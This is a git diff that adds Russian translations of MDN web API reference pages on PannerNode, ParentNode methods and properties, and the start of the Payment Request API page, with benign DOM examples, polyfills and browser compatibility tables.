[4] Firefox 42 has shipped with web notifications from Service Workers disabled.

+ +

Firefox OS разрешения

+ +

Когда используете уведомления в приложении на Firefox OS, убедитесь, что desktop-notification установленно в вашем фаине манифеста. Уведомления могут быть использованы для любомого уровня разрешения, равного или выше:

+ +
"permissions": {
+  "desktop-notification": {}
+}
+ +

See also

+ + diff --git a/files/ru/web/api/pannernode/index.html b/files/ru/web/api/pannernode/index.html new file mode 100644 index 0000000000..c8076f49df --- /dev/null +++ b/files/ru/web/api/pannernode/index.html @@ -0,0 +1,265 @@ +--- +title: PannerNode +slug: Web/API/PannerNode +translation_of: Web/API/PannerNode +--- +

{{ APIRef("Web Audio API") }}

+ +
+
+
Интерфейс PannerNode представляет положение источника звука и поведение его сигнала в пространстве. Это модуль {{domxref("AudioNode")}} для обработки звука, описывающий его положение (в правосторонней системе координат Декарта), его перемещение (с помощью вектора скорости распространения) и его направленности (при помощи конуса направления).
+
+
+ +
+
PannerNode всегда имеет только один вход и один выход: вход может быть моно или стерео, но выход всегда стерео (2 канала); нельзя получить эффекты панорамирования при отсутствии, как минимум двух аудиоканалов!
+
+ +

PannerNode задает положение в пространстве, скорость распространения и направленность данного сигнала.

+ + + + + + + + + + + + + + + + + + + + + + + + +
Число входов1
Число выходов1
Режим подсчета каналов"clamped-max"
Количество каналов2
Представление канала"speakers"
+ +

Конструктор

+ +
+
{{domxref("PannerNode.PannerNode")}}
+
+
+
+
+
Создает новый экземпляр PannerNode.
+
+
+
+
+
+ +

Свойства

+ +
+
Наследует свойства от своего родителя, {{domxref("AudioNode")}}. 
+
+ +
+

Значения направления и положения устанавливаются и получаются различными вариантами синтаксиса, поскольку они хранятся в виде значений {{domxref("AudioParam")}}. Получение значения осуществляется через обращение, например так, PannerNode.positionX. Установка того же свойства делается так, PannerNode.positionX.value. This is why these values are not marked read only, which is how they appear in the WebIDL.

+
+ +
+
{{domxref("PannerNode.coneInnerAngle")}}
+
Это значение типа double, представляющее угол конуса (в градусах), внутри которого не будет уменьшения громкости.
+
{{domxref("PannerNode.coneOuterAngle")}}
+
Это значение типа double, представляющее угол конуса (в градусах), вне которого громкость звука будет уменьшена на постоянное значение, определяемое атрибутом coneOuterGain.
+
{{domxref("PannerNode.coneOuterGain")}}
+
Это значение типа double, представляющее величину снижения уровня громкости вне конуса, определенного атрибутом coneOuterAngle. Значение по умолчанию равно 0, то есть, вне конуса звук не будет слышен.
+
{{domxref("PannerNode.distanceModel")}}
+
Перечислимое значение, определяющее, какой алгоритм будет использован для уменьшения громкости источника звука при удалении его от слушателя.
+
{{domxref("PannerNode.maxDistance")}}
+
Значение типа double, представляющее максимальное расстояние между источником звука и слушателем, после которого громкость звука далее не уменьшается.
+
{{domxref("PannerNode.orientationX")}}
+
Представляет горизонтальное положение вектора источника звука в правосторонней системе координат Декарта. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}} . Значение по умолчанию равно 1.
+
{{domxref("PannerNode.orientationY")}}
+
Представляет вертикальное положение вектора источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
+
{{domxref("PannerNode.orientationZ")}}
+
Представляет продольную (вперед - назад) позицию вектора распространения звука от источника в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
+
{{domxref("PannerNode.panningModel")}}
+
Перечислимое значение, определяющее какой алгоритм пространственной обработки используется для размещения источника звука в трехмерном пространстве.
+
{{domxref("PannerNode.positionX")}}
+
Представляет горизонтальное положение источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
+
{{domxref("PannerNode.positionY")}}
+
Представляет вертикальное положение источника звука в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
+
{{domxref("PannerNode.positionZ")}}
+
Представляет позицию источника звука вдоль оси Z (вперед и назад) в правосторонней системе координат Декарта. Значение по умолчанию равно 0. В то время как данный {{domxref("AudioParam")}} непосредственно изменить нельзя, его значение может быть изменено через его свойство {{domxref("AudioParam.value", "value")}}. Значение по умолчанию равно 0.
+
{{domxref("PannerNode.refDistance")}}
+
Значение типа double, представляющее справочное (опорное) расстояние для уменьшения громкости при удалении источника звука от слушателя.
+
{{domxref("PannerNode.rolloffFactor")}}
+
Значение типа double, представляющее как быстро уменьшается громкость при удалении источника звука от слушателя. Данное значение используется во всех моделях изменения громкости от расстояния.
+
+ +

Методы

+ +
+
Наследует методы от своего родителя, {{domxref("AudioNode")}}.
+ +
 
+
+ +
+
{{domxref("PannerNode.setPosition()")}}
+
Определяет положение источника звука относительно слушателя (представлен объектом {{domxref("AudioListener")}}, хранящимся в атрибуте {{domxref("AudioContext.listener")}} ).
+
+ +
+
{{domxref("PannerNode.setOrientation()")}}
+
Определяет направление воспроизведения источника звука.
+
+ +
+
{{domxref("PannerNode.setVelocity()")}} {{obsolete_inline}}
+
Это устаревший элемент API и его работа в дальнейшем не гарантируется.
+ Определяет вектор распространения звука от источника - как быстро он движется и в каком направлении. В предыдущей версии спецификации, {{domxref("PannerNode")}} имел скорость распространения, которую можно было выдать выше или ниже подключенного потока {{domxref("AudioBufferSourceNode")}}. Эта функция не была четко оговорена и имела ряд проблем, поэтому была удалена из спецификации.
+
+ +

Примеры

+ +

{{page("/ru/docs/Web/API/AudioContext.createPanner","Example")}}

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API', '#the-pannernode-interface', 'PannerNode')}}{{Spec2('Web Audio API')}} 
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
+ 22 (unprefixed)		6.0{{property_prefix("webkit")}}
orientationX, orientationY, and orientationZ{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(50)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
positionX, positionY, and positionZ{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatGeckoDesktop(50)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
Constructor{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(26)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}33.0
orientationX, orientationY, and orientationZ{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(50)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
positionX, positionY, and positionZ{{CompatUnknown}}{{CompatUnknown}}{{CompatGeckoMobile(50)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
Constructor{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/parentnode/append/index.html b/files/ru/web/api/parentnode/append/index.html new file mode 100644 index 0000000000..02d0995fc4 --- /dev/null +++ b/files/ru/web/api/parentnode/append/index.html @@ -0,0 +1,134 @@ +--- +title: ParentNode.append() +slug: Web/API/ParentNode/append +translation_of: Web/API/ParentNode/append +--- +
{{APIRef("DOM")}} {{SeeCompatTable}}
+ +

Метод ParentNode.append добавляет набор объектов {{domxref("Node")}} или {{domxref("DOMString")}} в конец (после последнего потомка) ParentNode. {{domxref("DOMString")}} объекты добавляются как {{domxref("Text")}}.

+ +

Отличия от {{domxref("Node.appendChild()")}}:

+ + + +

Синтаксис

+ +
[Throws, Unscopable]
+void ParentNode.append((Node или DOMString)... nodes);
+
+ +

Параметры

+ +
+
nodes
+
Набор объектов {{domxref("Node")}} или {{domxref("DOMString")}}, которые будут добавлены.
+
+ +

Исключения

+ + + +

Примеры

+ +

Добавление элемента

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append(p);
+
+console.log(parent.childNodes); // NodeList [ <p> ]
+
+ +

Добавление строки

+ +
var parent = document.createElement("div");
+parent.append("Любой текст");
+
+console.log(parent.textContent); // "Любой текст"
+ +

Добавление элемента или строки

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.append("Любой текст", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Любой текст", <p> ]
+ +

ParentNode.append() не имеет области видимости

+ +

Метод append() не имеет области видимости с директивой with. Больше информации в {{jsxref("Symbol.unscopables")}}.

+ +
var parent = document.createElement("div");
+
+with(parent) {
+  append("foo");
+}
+// ReferenceError: append is not defined
+ +

Полифил

+ +

Вы можете использовать полифил для метода append() в Internet Explorer 9 и выше:

+ +
// Источник: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/append()/append().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('append')) {
+      return;
+    }
+    Object.defineProperty(item, 'append', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function append() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.appendChild(docFrag);
+      }
+    });
+  });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-parentnode-append', 'ParentNode.append()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Поддержка браузерами

+ + + +

{{Compat("api.ParentNode.append")}}

+ +

Смотри также

+ + diff --git a/files/ru/web/api/parentnode/childelementcount/index.html b/files/ru/web/api/parentnode/childelementcount/index.html new file mode 100644 index 0000000000..6dcc3711dd --- /dev/null +++ b/files/ru/web/api/parentnode/childelementcount/index.html @@ -0,0 +1,122 @@ +--- +title: Node.childElementCount +slug: Web/API/ParentNode/childElementCount +tags: + - API + - DOM + - ParentNode + - Property + - Reference +translation_of: Web/API/ParentNode/childElementCount +--- +
+

{{ APIRef("DOM") }}

+ +

Свойство Node.childElementCount предназначено только для чтения и возвращает число дочерних элементов узла.

+
+ +

Синтакисис

+ +
var elCount = Node.childElementCount;
+
+ + + +
+

А наш добрый друг Internet Explorer в 6, 7 и 8 версиях ошибочно считает элементами комментарии в HTML-коде ({{domxref("Comment")}}).

+
+ +

Пример

+ +
var foo = document.getElementById("foo");
+if (foo.childElementCount > 0) {
+    // здесь нужный код..
+}
+ +

Спецификация

+ + + + + + + + + + + + + + + + +
СпецификацияСтатус
{{SpecName('DOM WHATWG', '#dom-parentnode-childElementCount', 'ParentNode.childElementCount')}}{{Spec2('DOM WHATWG')}}
{{SpecName('Element Traversal', '#attribute-childElementCount', 'ElementTraversal.childElementCount')}}{{Spec2('Element Traversal')}}
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка {{domxref("Element")}}1.0{{CompatGeckoDesktop("1.9.1")}}9.0 [1]10.04.0
Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}29.0{{CompatGeckoDesktop("25.0")}}{{CompatNo}}16.0{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка {{domxref("Element")}}{{ CompatVersionUnknown() }}{{CompatGeckoMobile("1.9.1")}}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}{{CompatVersionUnknown}}{{CompatGeckoMobile("25.0")}}{{CompatNo}}16.0{{CompatNo}}
+
diff --git a/files/ru/web/api/parentnode/children/index.html b/files/ru/web/api/parentnode/children/index.html new file mode 100644 index 0000000000..e810a39465 --- /dev/null +++ b/files/ru/web/api/parentnode/children/index.html @@ -0,0 +1,143 @@ +--- +title: Node.children +slug: Web/API/ParentNode/children +tags: + - API + - DOM + - ParentNode + - Property + - Reference +translation_of: Web/API/ParentNode/children +--- +

{{ APIRef("DOM") }}

+ +

Описание

+ +

Свойство children {{domxref("ParentNode")}} является свойством только для чтения, которое возвращает {{domxref("HTMLCollection")}}, содержащее все дочерние {{domxref("Element", "elements")}} узла, на котором он был вызван.

+ +

Синтаксис

+ +
var elList = elementNodeReference.children;
+ +

В результате, elList - живая коллекция, состоящая из дочерних элементов узла elementNodeReference, и стоит подметить, что если у узла детей нет, она будет пустой. Определить это можно, обратившись к свойству length, которое содержит в себе количество элементов в коллекции.

+ +

Пример

+ +
<ul>
+   <li>1 пункт</li>
+   <li>2 пункт</li>
+</ul>
+
+<script type="text/javascript">
+
+   var elementChildrens = document.querySelector("ul").children;
+   for (var i=0, child; child=elementChildrens[i]; i++) {
+        //elementChildrens - коллеция детей списка
+        //child - последовательно, каждый из элементов elementChildrens
+        alert(child.innerHTML);
+   }
+
+</script>
+
+
+ +

Спецификация

+ + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-parentnode-children', 'ParentNode.children')}}{{Spec2('DOM WHATWG')}}Начальное определение.
+ +

Поддержка браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка {{domxref("Element")}}1.0{{CompatGeckoDesktop("1.9.1")}}9.0 [1]10.04.0
+

Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}

+ 		29.0{{CompatGeckoDesktop("25.0")}}{{CompatNo}}16.0{{CompatNo}}
Поддержка {{domxref("SVGElement")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка {{domxref("Element")}}{{ CompatVersionUnknown() }}{{CompatGeckoMobile("1.9.1")}}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}{{CompatVersionUnknown}}{{CompatGeckoMobile("25.0")}}{{CompatNo}}16.0{{CompatNo}}
+
+ +

Internet Explorer 6, 7 и 8 поддерживают данное свойство, но ошибочно включают в коллекцию комментарии ({{domxref("Comment")}}) в HTML-коде.

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/parentnode/firstelementchild/index.html b/files/ru/web/api/parentnode/firstelementchild/index.html new file mode 100644 index 0000000000..472732452a --- /dev/null +++ b/files/ru/web/api/parentnode/firstelementchild/index.html @@ -0,0 +1,149 @@ +--- +title: ParentNode.firstElementChild +slug: Web/API/ParentNode/firstElementChild +tags: + - API + - DOM + - ParentNode + - Property + - Reference +translation_of: Web/API/ParentNode/firstElementChild +--- +

{{ APIRef("DOM") }}

+ +

Доступное только для чтения свойство ParentNode.firstElementChild возвращает первый дочерный элемент объекта ({{domxref("Element")}}) или null если дочерних элементов нет.

+ +
+

This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("ParentNode")}} and {{domxref("ChildNode")}}. In this case, firstElementChild moved to {{domxref("ParentNode")}}. This is a fairly technical change that shouldn't affect compatibility.

+
+ +

Синтаксис

+ +
var childNode = elementNodeReference.firstElementChild;
+
+ +

Пример

+ +
<p id="para-01">
+  <span>First span</span>
+</p>
+
+<script type="text/javascript">
+  var p01 = document.getElementById('para-01');
+  alert(p01.firstElementChild.nodeName)
+</script>
+ +

В этом примере alert показывает 'span', что является именем тега первого дочернего узла элемента p.

+ +

Polyfill для Internet Explorer 8

+ +

Это свойство не поддерживается браузером Internet Explorer вплоть до 9 версии, поэтому следующий сниппет может быть использован для добавления поддержки IE8:

+ +
// Source: https://github.com/Alhadis/Snippets/blob/master/js/polyfills/IE8-child-elements.js
+if(!("firstElementChild" in document.documentElement)){
+    Object.defineProperty(Element.prototype, "firstElementChild", {
+        get: function(){
+            for(var nodes = this.children, n, i = 0, l = nodes.length; i < l; ++i)
+                if(n = nodes[i], 1 === n.nodeType) return n;
+            return null;
+        }
+    });
+}
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#dom-parentnode-firstelementchild', 'ParentNode.firstElementChild')}}{{Spec2('DOM WHATWG')}}Splitted the ElementTraversal interface in {{domxref("ChildNode")}} and ParentNode. This method is now defined on the latter.
+ The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.
{{SpecName('Element Traversal', '#attribute-firstElementChild', 'ElementTraversal.firstElementChild')}}{{Spec2('Element Traversal')}}Added its initial definition to the ElementTraversal pure interface and use it on {{domxref("Element")}}.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка ({{domxref("Element")}})1.0{{CompatGeckoDesktop("1.9.1")}}9.010.04.0
Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}29.0{{CompatGeckoDesktop("25.0")}}{{CompatNo}}16.0{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка ({{domxref("Element")}}){{ CompatVersionUnknown() }}{{CompatGeckoMobile("1.9.1")}}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Поддержка {{domxref("Document")}} и {{domxref("DocumentFragment")}} {{experimental_inline}}{{CompatVersionUnknown}}{{CompatGeckoMobile("25.0")}}{{CompatNo}}16.0{{CompatNo}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/api/parentnode/index.html b/files/ru/web/api/parentnode/index.html new file mode 100644 index 0000000000..33f9ee9ddb --- /dev/null +++ b/files/ru/web/api/parentnode/index.html @@ -0,0 +1,94 @@ +--- +title: ParentNode +slug: Web/API/ParentNode +tags: + - API + - DOM + - NeedsTranslation + - Tab + - TopicStub +translation_of: Web/API/ParentNode +--- +

{{ APIRef("DOM") }}

+ +

Интерфейс ParentNode содержит методы, которые относятся к {{domxref("Node")}} объектам , у которых могут быть потомки.

+ +

ParentNode является сырым интерфейсом и объекты с данным типом создать нельзя; данный интерфейс имеется у {{domxref("Element")}}, {{domxref("Document")}}, и {{domxref("DocumentFragment")}} объектов.

+ +

Свойства

+ +
+
{{domxref("ParentNode.children")}} {{experimental_inline}} {{readonlyInline}}
+ Возвращает живую  {{domxref("HTMLCollection")}}, которая содержит все объекты типа {{domxref("Element")}}, которые являются потомками данного ParentNode.
+
+ {{domxref("ParentNode.firstElementChild")}} {{experimental_inline}} {{readonlyInline}}
+ Возвращает {{domxref("Element")}} , который является первым потомком данного ParentNode, или null, если таковой отсутствует.
+
+ {{ domxref("ParentNode.lastElementChild") }} {{experimental_inline}} {{readonlyInline}}
+ Возвращает {{domxref("Element")}}, который является последним из потомков данного ParentNode, или null, если таковой отсутствует.
+
+ {{ domxref("ParentNode.childElementCount") }} {{experimental_inline}} {{readonlyInline}}
+ Возвращает unsigned long с количеством потомков, которые есть у объекта.
+
+ +

Методы

+ +
+
{{domxref("ParentNode.append()")}} {{experimental_inline}}
+
Вставляет набор объектов типа {{domxref("Node")}} или {{domxref("DOMString")}} после последнего потомка ParentNode. {{domxref("DOMString")}} объекты вставлены как эквивалент {{domxref("Text")}} узлы.
+
{{domxref("ParentNode.prepend()")}} {{experimental_inline}}
+
Вставляет набор объектов типа {{domxref("Node")}} или {{domxref("DOMString")}} перед первым потомком ParentNode. {{domxref("DOMString")}} объекты вставлены как эквивалент {{domxref("Text")}} узлы.
+
{{domxref("ParentNode.querySelector()")}}
+
Возвращает первый {{domxref("Element")}} с текущим элементом в качестве источника, который совпадает с определённой группой селекторов.
+
{{domxref("ParentNode.querySelectorAll()")}}
+
Возвращает {{domxref("NodeList")}}, который представляет собой список элементов с текущим элементом в качестве источника, который совпадает с определённой группой селекторов.
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('DOM WHATWG', '#parentnode', 'ParentNode')}}{{Spec2('DOM WHATWG')}}Добавлены методы append() и prepend().
{{SpecName('DOM WHATWG', '#dom-parentnode-firstelementchild', 'ParentNode.firstElementChild')}}{{Spec2('DOM WHATWG')}}Splitted the ElementTraversal interface in {{domxref("ChildNode")}} and ParentNode. The firstElementChild, lastElementChild, and childElementCount properties are now defined on the latter.
+ The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.
+ Added the children property.
+ Added the append() and prepend() methods.
{{SpecName('Element Traversal', '#interface-elementTraversal', 'ElementTraversal')}}'{{Spec2('Element Traversal')}}Добавлено изначальное определение свойств в ElementTraversal чистый интерфейс и использование его в {{domxref("Element")}}.
+ +

Совместимость с браузерами

+ + + +

{{Compat("api.ParentNode")}}

+ +

 

+ +

Смотрите также

+ + diff --git a/files/ru/web/api/parentnode/lastelementchild/index.html b/files/ru/web/api/parentnode/lastelementchild/index.html new file mode 100644 index 0000000000..d625dc316f --- /dev/null +++ b/files/ru/web/api/parentnode/lastelementchild/index.html @@ -0,0 +1,161 @@ +--- +title: ParentNode.lastElementChild +slug: Web/API/ParentNode/lastElementChild +tags: + - API + - DOM + - ParentNode + - Property + - Reference +translation_of: Web/API/ParentNode/lastElementChild +--- +

{{ APIRef("DOM") }}

+ +

Свойство ParentNode.lastElementChild только для чтения. Возвращает последний дочерний элемент объекта или null если нет дочерних элементов.

+ +
+

This property was initially defined in the {{domxref("ElementTraversal")}} pure interface. As this interface contained two distinct set of properties, one aimed at {{domxref("Node")}} that have children, one at those that are children, they have been moved into two separate pure interfaces, {{domxref("ParentNode")}} and {{domxref("ChildNode")}}. In this case, lastElementChild moved to {{domxref("ParentNode")}}. This is a fairly technical change that shouldn't affect compatibility.

+
+ +

Синтаксис

+ +
var element = node.lastElementChild;
+ +

Пример

+ +
<ul id="foo">
+  <li>First  (1)</li>
+  <li>Second (2)</li>
+  <li>Third  (3)</li>
+</ul>
+
+<script>
+var foo = document.getElementById('foo');
+// yields: Third  (3)
+console.log(foo.lastElementChild.textContent);
+</script>
+
+ +

Polyfill for IE8, IE9 and Safari

+ +
// Overwrites native 'lastElementChild' prototype.
+// Adds Document & DocumentFragment support for IE9 & Safari.
+// Returns array instead of HTMLCollection.
+;(function(constructor) {
+    if (constructor &&
+        constructor.prototype &&
+        constructor.prototype.lastElementChild == null) {
+        Object.defineProperty(constructor.prototype, 'lastElementChild', {
+            get: function() {
+                var node, nodes = this.childNodes, i = nodes.length - 1;
+                while (node = nodes[i--]) {
+                    if (node.nodeType === 1) {
+                        return node;
+                    }
+                }
+                return null;
+            }
+        });
+    }
+})(window.Node || window.Element);
+
+ +

Спецификация

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-parentnode-lastelementchild', 'ParentNode.lastElementChild')}}{{Spec2('DOM WHATWG')}}Splitted the ElementTraversal interface in {{domxref("ChildNode")}} and ParentNode. This method is now defined on the latter.
+ The {{domxref("Document")}} and {{domxref("DocumentFragment")}} implemented the new interfaces.
{{SpecName('Element Traversal', '#attribute-lastElementChild', 'ElementTraversal.lastElementChild')}}{{Spec2('Element Traversal')}}Added its initial definition to the ElementTraversal pure interface and use it on {{domxref("Element")}}.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support (on {{domxref("Element")}})1.0{{CompatGeckoDesktop("1.9.1")}}9.010.04.0
Support on {{domxref("Document")}} and {{domxref("DocumentFragment")}} {{experimental_inline}}29.0{{CompatGeckoDesktop("25.0")}}{{CompatNo}}16.0{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support (on {{domxref("Element")}}){{ CompatVersionUnknown() }}{{CompatGeckoMobile("1.9.1")}}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}{{ CompatVersionUnknown() }}
Support on {{domxref("Document")}} and {{domxref("DocumentFragment")}} {{experimental_inline}}{{CompatVersionUnknown}}{{CompatGeckoMobile("25.0")}}{{CompatNo}}16.0{{CompatNo}}
+
+ + + +

Так же смотрите

+ + diff --git a/files/ru/web/api/parentnode/prepend/index.html b/files/ru/web/api/parentnode/prepend/index.html new file mode 100644 index 0000000000..709a620f85 --- /dev/null +++ b/files/ru/web/api/parentnode/prepend/index.html @@ -0,0 +1,133 @@ +--- +title: ParentNode.prepend() +slug: Web/API/ParentNode/prepend +translation_of: Web/API/ParentNode/prepend +--- +
{{APIRef("DOM")}}
+ +

Метод ParentNode.prepend() вставляет множество объектов {{domxref("Node")}} или {{domxref("DOMString")}} в начало (перед первым потомком) {{domxref("ParentNode")}}. Объекты {{domxref("DOMString")}} вставляются как {{domxref("Text")}}.

+ +

Синтаксис

+ +
ParentNode.prepend(...nodesToPrepend);
+
+ +

Параметры

+ +
+
nodesToPrepend
+
Один или болле узлов, которые вставляются перед первым дочерним узлом в  ParentNode. Каждый узел может быть определен либо как {{domxref("Node")}} - объект, либо как строка; строки вставляются как новые узлы типа {{domxref("Text")}}.
+
+ +

Возвращаемое значение

+ +

undefined.

+ +

Исключения

+ + + +

Примеры

+ +

Добавление элемента в начало

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+var span = document.createElement("span");
+parent.append(p);
+parent.prepend(span);
+
+console.log(parent.childNodes); // NodeList [ <span>, <p> ]
+
+ +

Добавление текста в начало

+ +
var parent = document.createElement("div");
+parent.append("Some text");
+parent.prepend("Headline: ");
+
+console.log(parent.textContent); // "Headline: Some text"
+ +

Добавление элемента и текста

+ +
var parent = document.createElement("div");
+var p = document.createElement("p");
+parent.prepend("Some text", p);
+
+console.log(parent.childNodes); // NodeList [ #text "Some text", <p> ]
+ +

ParentNode.prepend() не имеет области видимости

+ +

Метод prepend() не входит в область видимости оператора with. Смотрите {{jsxref("Symbol.unscopables")}} для детальной информации.

+ +
var parent = document.createElement("div");
+
+with(parent) {
+  prepend("foo");
+}
+// ReferenceError: prepend is not defined
+ +

Полифил

+ +

Вы можете использовать полифил, если метод prepend() не доступный:

+ +
// Source: https://github.com/jserz/js_piece/blob/master/DOM/ParentNode/prepend()/prepend().md
+(function (arr) {
+  arr.forEach(function (item) {
+    if (item.hasOwnProperty('prepend')) {
+      return;
+    }
+    Object.defineProperty(item, 'prepend', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function prepend() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.insertBefore(docFrag, this.firstChild);
+      }
+    });
+  });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);
+ +

Спецификация

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-parentnode-prepend', 'ParentNode.prepend()')}}{{Spec2('DOM WHATWG')}}Initial definition.
+ +

Поддержка браузерами

+ + + +

{{Compat("api.ParentNode.prepend")}}

+ +

Смотри также

+ + diff --git a/files/ru/web/api/payment_request_api/index.html b/files/ru/web/api/payment_request_api/index.html new file mode 100644 index 0000000000..c59135cfe2 --- /dev/null +++ b/files/ru/web/api/payment_request_api/index.html @@ -0,0 +1,126 @@ +--- +title: Payment Request API +slug: Web/API/Payment_Request_API +translation_of: Web/API/Payment_Request_API +--- +
{{DefaultAPISidebar("Payment Request API")}}{{securecontext_header}}
+ +

Payment Request API предоставляет постоянный UX для продавцов и покупателей. Это не новый способ оплаты, а возможность пользователя выбрать предпочтительный способ оплаты и предоставить продавцу эту информацию.

+ +

Основы и использование Payment Request

+ +

